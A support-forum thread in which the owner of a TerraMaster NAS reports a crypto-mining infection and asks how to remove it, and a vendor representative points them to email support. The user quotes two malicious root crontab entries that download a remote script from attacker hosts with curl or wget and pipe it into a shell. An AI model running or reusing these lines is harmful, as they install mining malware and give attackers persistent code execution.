100% CPU used - It seems Mining virus

CPU, memory, fan, process, services status, system log, tempreture
Locked
User avatar
fec
Posts: 5
Joined: 31 May 2021, 23:24

100% CPU used - It seems Mining virus

Post by fec »

Hello.

I am facing issue with my NAS F5-221. Current TOS version 4.1.21-2003031748. The CPU is all the time at 100%, i have read a bit on it and it seems to be a Mining Virus.
I will like to try to clean it without losing any data.

Process causing issue:
n4tpbi6fn4i8a4o

before the process was:
kinsing

Now on root crontab:
30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh

Before on Crontab:
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1

So not sure if i clean one mining and now I have other. Can you please support me on it?
Also want to know, how it this end up on my NAS?

I have try to create a script to kill the virus but it seems to not be effective.
Thanks
User avatar
TMSupport
TerraMaster Team
Posts: 2314
Joined: 13 Dec 2019, 15:15

Re: 100% CPU used - It seems Mining virus

Post by TMSupport »

Please contact support team, we will remotely check it and deleted the infected files via remote session.
To contact our team, please send email to following addresses, remember to replace (at) with @
Technical team: support(at)terra-master.com (for technical support)
Service team: service(at)terra-master.com (for purchasing, return, replacement, RMA service)
Locked